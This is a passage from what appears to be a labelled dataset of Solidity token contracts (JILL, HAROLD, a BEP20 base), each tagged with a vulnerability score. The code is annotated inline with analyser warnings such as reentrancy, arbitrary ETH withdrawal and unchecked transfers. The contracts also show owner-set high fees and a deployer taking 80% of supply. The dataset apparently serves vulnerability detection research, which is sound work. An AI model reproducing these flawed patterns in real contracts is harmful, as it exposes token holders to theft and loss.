amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-no-eth | ID: c8c16fc\n _balances[from] = fromBalance - amount;\n\n\t\t\t// reentrancy-no-eth | ID: c8c16fc\n _balances[to] += amount;\n }\n\n\t\t// reentrancy-events | ID: 4f0a89c\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract JILL is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable _uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9cd12b4): JILL.uniswapV2Pair should be immutable \n\t// Recommendation for 9cd12b4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 13617b5): JILL.deployerWallet should be immutable \n\t// Recommendation for 13617b5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deployerWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a667d3f): JILL.marketingWallet should be immutable \n\t// Recommendation for a667d3f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private marketingWallet;\n\n address private constant deadAddress = address(0xdead);\n\n bool private swapping;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 2dfb60a): JILL._name shadows ERC20._name\n\t// Recommendation for 2dfb60a: Remove the state variable shadowing.\n string private constant _name = \"Jill The Squirrel\";\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 9c7a505): JILL._symbol shadows ERC20._symbol\n\t// Recommendation for 9c7a505: Remove the state variable shadowing.\n string private constant _symbol = \"JILL\";\n\n\t// WARNING Optimization Issue (constable-states | ID: c59f53e): JILL.initialTotalSupply should be constant \n\t// Recommendation for c59f53e: Add the 'constant' attribute to state variables that never change.\n uint256 public initialTotalSupply = 10000000000 * 1e18;\n\n uint256 public maxTransactionAmount = 200000000 * 1e18;\n\n uint256 public maxWallet = 200000000 * 1e18;\n\n uint256 public swapTokensAtAmount = 100000000 * 1e18;\n\n bool public enableTrade = false;\n\n uint256 public BuyFee = 20;\n\n uint256 public SellFee = 25;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) private _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) private automatedMarketMakerPairs;\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1d7b974): JILL.constructor(address).wallet lacks a zerocheck on \t marketingWallet = address(wallet)\n\t// Recommendation for 1d7b974: Check that the address is not zero.\n constructor(address wallet) ERC20(_name, _symbol) {\n _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n\n\t\t// missing-zero-check | ID: 1d7b974\n marketingWallet = payable(wallet);\n\n deployerWallet = payable(_msgSender());\n\n excludeFromFees(owner(), true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(wallet), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(wallet), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n uint devTx = initialTotalSupply.mul(80).div(100);\n\n uint remain = initialTotalSupply.sub(devTx);\n\n _mint(deployerWallet, devTx);\n\n _mint(address(this), remain);\n }\n\n receive() external payable {}\n\n function openTrade() external onlyOwner {\n enableTrade = true;\n }\n\n function excludeFromMaxTransaction(address updAds, bool isEx) private {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function excludeFromFees(address account, bool excluded) private {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4f0a89c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4f0a89c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: c8c16fc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for c8c16fc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n bool isTransfer = !automatedMarketMakerPairs[from] &&\n !automatedMarketMakerPairs[to];\n\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!enableTrade) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance > 0 && !isTransfer;\n\n if (\n canSwap &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 4f0a89c\n\t\t\t// reentrancy-no-eth | ID: c8c16fc\n swapBack(amount);\n\n\t\t\t// reentrancy-no-eth | ID: c8c16fc\n swapping = false;\n }\n\n bool takeFee = !swapping && !isTransfer;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to]) {\n fees = amount.mul(SellFee).div(100);\n } else {\n fees = amount.mul(BuyFee).div(100);\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 4f0a89c\n\t\t\t\t// reentrancy-no-eth | ID: c8c16fc\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 4f0a89c\n\t\t// reentrancy-no-eth | ID: c8c16fc\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4f0a89c\n\t\t// reentrancy-no-eth | ID: c8c16fc\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n }\n\n function removeSkullLimits() external onlyOwner {\n uint256 totalSupplyAmount = totalSupply();\n\n maxTransactionAmount = totalSupplyAmount;\n\n maxWallet = totalSupplyAmount;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: a413eee): JILL.clearStuckEth() sends eth to arbitrary user Dangerous calls address(msg.sender).transfer(address(this).balance)\n\t// Recommendation for a413eee: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function clearStuckEth() external {\n require(_msgSender() == deployerWallet);\n\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n\t\t// arbitrary-send-eth | ID: a413eee\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 0806bb4): JILL.clearStuckTokens(address) ignores return value by tokenContract.transfer(deployerWallet,balance)\n\t// Recommendation for 0806bb4: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function clearStuckTokens(address tokenAddress) external {\n require(_msgSender() == deployerWallet);\n\n IERC20 tokenContract = IERC20(tokenAddress);\n\n uint256 balance = tokenContract.balanceOf(address(this));\n\n require(balance > 0, \"No tokens to clear\");\n\n\t\t// unchecked-transfer | ID: 0806bb4\n tokenContract.transfer(deployerWallet, balance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f8d10ee): JILL.setFee(uint256,uint256) should emit an event for BuyFee = _buyFee SellFee = _sellFee \n\t// Recommendation for f8d10ee: Emit an event for critical parameter changes.\n function setFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {\n require(_buyFee <= 40 && _sellFee <= 50, \"Fees cannot exceed 99%\");\n\n\t\t// events-maths | ID: f8d10ee\n BuyFee = _buyFee;\n\n\t\t// events-maths | ID: f8d10ee\n SellFee = _sellFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 79b7826): JILL.setSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = _amount * (10 ** 18) \n\t// Recommendation for 79b7826: Emit an event for critical parameter changes.\n function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {\n\t\t// events-maths | ID: 79b7826\n swapTokensAtAmount = _amount * (10 ** 18);\n }\n\n function manualSwap(uint256 percent) external {\n require(_msgSender() == deployerWallet);\n\n uint256 totalSupplyAmount = totalSupply();\n\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 tokensToSwap;\n\n if (percent == 100) {\n tokensToSwap = contractBalance;\n } else {\n tokensToSwap = (totalSupplyAmount * percent) / 100;\n\n if (tokensToSwap > contractBalance) {\n tokensToSwap = contractBalance;\n }\n }\n\n require(\n tokensToSwap <= contractBalance,\n \"Swap amount exceeds contract balance\"\n );\n\n swapTokensForEth(tokensToSwap);\n }\n\n function swapBack(uint256 tokens) private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 tokensToSwap;\n\n if (contractBalance == 0) {\n return;\n }\n\n if ((BuyFee + SellFee) == 0) {\n if (contractBalance > 0 && contractBalance < swapTokensAtAmount) {\n tokensToSwap = contractBalance;\n } else {\n uint256 sellFeeTokens = tokens.mul(SellFee).div(100);\n\n tokens -= sellFeeTokens;\n\n if (tokens > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n } else {\n tokensToSwap = tokens;\n }\n }\n } else {\n if (\n contractBalance > 0 &&\n contractBalance < swapTokensAtAmount.div(5)\n ) {\n return;\n } else if (\n contractBalance > 0 &&\n contractBalance > swapTokensAtAmount.div(5) &&\n contractBalance < swapTokensAtAmount\n ) {\n tokensToSwap = swapTokensAtAmount.div(5);\n } else {\n uint256 sellFeeTokens = tokens.mul(SellFee).div(100);\n\n tokens -= sellFeeTokens;\n\n if (tokens > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n } else {\n tokensToSwap = tokens;\n }\n }\n }\n\n swapTokensForEth(tokensToSwap);\n }\n}\n",
"file_name": "solidity_code_10774.sol",
"size_bytes": 28686,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ncontract HAROLD is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _totalSupply = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Harold\";\n\n string private constant _symbol = unicode\"HAROLD\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 15dda66): HAROLD._maxTxAmount should be constant \n\t// Recommendation for 15dda66: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1b362db): HAROLD._maxWalletSize should be constant \n\t// Recommendation for 1b362db: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n bool private _isMaxWalletActive = true;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: fd76829): HAROLD.inSwap should be constant \n\t// Recommendation for fd76829: Add the 'constant' attribute to state variables that never change.\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n IUniswapV2Router private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromMaxWallet;\n\n constructor() {\n IUniswapV2Router _uniswapRouter = IUniswapV2Router(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Router = _uniswapRouter;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapRouter.factory()).createPair(\n address(this),\n _uniswapRouter.WETH()\n );\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n\n _isExcludedFromMaxWallet[_msgSender()] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e0010a3): HAROLD.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e0010a3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n if (\n _isMaxWalletActive &&\n !_isExcludedFromMaxWallet[recipient] &&\n !_isExcludedFromMaxWallet[sender]\n ) {\n require(\n _balances[recipient].add(amount) <= _maxWalletSize,\n \"Transfer exceeds the max wallet size\"\n );\n }\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ed95775): HAROLD._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ed95775: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) internal {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5085b41): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5085b41: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9b7665e): HAROLD.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9b7665e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 83df043): HAROLD.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 83df043: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e0f321a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e0f321a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _totalSupply);\n\n\t\t// reentrancy-benign | ID: 5085b41\n\t\t// reentrancy-eth | ID: e0f321a\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 5085b41\n\t\t// unused-return | ID: 83df043\n\t\t// reentrancy-eth | ID: e0f321a\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 5085b41\n\t\t// unused-return | ID: 9b7665e\n\t\t// reentrancy-eth | ID: e0f321a\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 5085b41\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e0f321a\n tradingOpen = true;\n }\n\n function deactivateMaxWalletLimit() external onlyOwner {\n _isMaxWalletActive = false;\n }\n\n function activateMaxWalletLimit() external onlyOwner {\n _isMaxWalletActive = true;\n }\n\n function isMaxWalletLimitActive() external view returns (bool) {\n return _isMaxWalletActive;\n }\n\n function excludeFromMaxWallet(address account) external onlyOwner {\n _isExcludedFromMaxWallet[account] = true;\n }\n}\n",
"file_name": "solidity_code_10775.sol",
"size_bytes": 12125,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\ninterface IBEP20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IBEP20Metadata is IBEP20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract BEP20 is Context, IBEP20, IBEP20Metadata {\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"BEP20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"BEP20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"BEP20: transfer from the zero address\");\n\n require(recipient != address(0), \"BEP20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"BEP20: transfer amount exceeds balance\"\n );\n\n\t\t// reentrancy-eth | ID: 73d7147\n _balances[sender] = senderBalance - amount;\n\n\t\t// reentrancy-eth | ID: 73d7147\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: 3b4a2a7\n emit Transfer(sender, recipient, amount);\n }\n\n function _tokengeneration(\n address account,\n uint256 amount\n ) internal virtual {\n _totalSupply = amount;\n\n _balances[account] = amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"BEP20: approve from the zero address\");\n\n require(spender != address(0), \"BEP20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f4c6571\n\t\t// reentrancy-benign | ID: 2cc6f46\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 7c962bb\n\t\t// reentrancy-events | ID: 18c3bf5\n emit Approval(owner, spender, amount);\n }\n}\n\nlibrary Address {\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n\t\t// reentrancy-events | ID: 3b4a2a7\n\t\t// reentrancy-events | ID: 18c3bf5\n\t\t// reentrancy-benign | ID: f4c6571\n\t\t// reentrancy-eth | ID: 73d7147\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n\n function transferOwnership(address 